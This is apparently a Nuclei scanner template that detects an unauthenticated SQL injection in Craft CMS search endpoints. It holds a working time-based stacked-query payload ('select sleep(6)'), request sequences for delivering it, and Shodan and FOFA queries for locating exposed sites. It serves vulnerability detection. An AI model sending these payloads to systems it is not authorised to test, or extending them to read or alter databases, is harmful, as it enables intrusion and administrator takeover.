Copy
id: CVE-2026-123488
info:
name: Craft CMS < 4.18.9, < 5.11.2 - Unauthenticated SQL Injection
author: 0x_Akoko
severity: critical
description: |
Craft CMS < 4.18.9, < 5.11.2 contain an unauthenticated SQL injection caused by unsanitized concatenation of the attribute parameter in the element search endpoint, letting remote attackers read and write the database to gain administrator access, exploit requires no authentication.
impact: |
Remote attackers can read and modify the database, including setting admin flags or overwriting password hashes, leading to full administrator access.
remediation: |
Upgrade to Craft CMS 4.18.9 or 5.11.2 or later.
reference:
- https://github.com/craftcms/cms/security/advisories/GHSA-qcvp-ggx3-97r6
- https://github.com/craftcms/cms/compare/4.18.8...4.18.9
- https://github.com/dinosn/CVE-2026-123488-CraftCMS-Lab
- https://www.vulncheck.com/advisories/craft-cms-4.0.0-before-4.18.9-sql-injection-via-element-search-endpoint
- https://nvd.nist.gov/vuln/detail/CVE-2026-123488
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-123488
epss-score: 0.00476
epss-percentile: 0.41429
cwe-id: CWE-89
metadata:
verified: true
max-request: 3
vendor: craftcms
product: craft_cms
shodan-query: http.html:"Craft CMS"
fofa-query: 'header="X-Powered-By: Craft CMS"'
tags: cve,cve2026,craftcms,craft,sqli,unauth,time-based,vkev
variables:
err: "x%27"
inj: "x%27%29%29%3B%20select%20sleep%286%29%3B%20%23"
flow: |
(function () {
if (!http(1)) { return; }
let paths = ["/search", "/results", "/site-search"];
let found = template.formact;
if (found !== undefined && found !== null) {
if (!Array.isArray(found)) { found = [found]; }
let extra = [];
for (let i = 0; i < found.length && extra.length < 2; i++) {
let a = String(found[i]);
if (a.indexOf("//") !== -1 || a.length > 60 || a.charAt(0) !== "/") { continue; }
if (paths.indexOf(a) !== -1) { continue; }
extra.push(a);
}
paths = extra.concat(paths);
}
for (let i = 0; i < paths.length && i < 5; i++) {
set("sp", paths[i]);
set("sep", paths[i].indexOf("?") === -1 ? "?" : "&");
// a broken quote must reach SQL and 500; a dead path answers 404 and costs nothing more
if (!http(2)) { continue; }
// only then pay for the stacked sleep, which is what proves the impact
if (http(3)) { return; }
}
})();
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains_any(tolower(header), "x-powered-by: craft cms", "craft_csrf_token")'
internal: true
extractors:
- type: regex
name: formact
part: body
group: 1
internal: true
regex:
- '<form[^>]*action="(/[^"]*(?:search|result)[^"]*)"'
- raw:
- |
GET {{sp}}{{sep}}q%5Bquery%5D=a&q%5Battribute%5D={{err}}&query%5Bquery%5D=a&query%5Battribute%5D={{err}}&search%5Bquery%5D=a&search%5Battribute%5D={{err}}&s%5Bquery%5D=a&s%5Battribute%5D={{err}}&keywords%5Bquery%5D=a&keywords%5Battribute%5D={{err}}&term%5Bquery%5D=a&term%5Battribute%5D={{err}} HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 500'
internal: true
- raw:
- |
@timeout: 30s
GET {{sp}}{{sep}}q%5Bquery%5D=a&q%5Battribute%5D={{inj}}&query%5Bquery%5D=a&query%5Battribute%5D={{inj}}&search%5Bquery%5D=a&search%5Battribute%5D={{inj}}&s%5Bquery%5D=a&s%5Battribute%5D={{inj}}&keywords%5Bquery%5D=a&keywords%5Battribute%5D={{inj}}&term%5Bquery%5D=a&term%5Battribute%5D={{inj}} HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'duration >= 6'
condition: and
# digest: 4b0a00483046022100bb449d39bd5a0027e893e841f797b2821cb5e9e4b5f61ba371eafaf62d623b91022100fa5775770fcf7d9b2942d156076c189998a77036219b8adb3af321b29ec2cc45:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.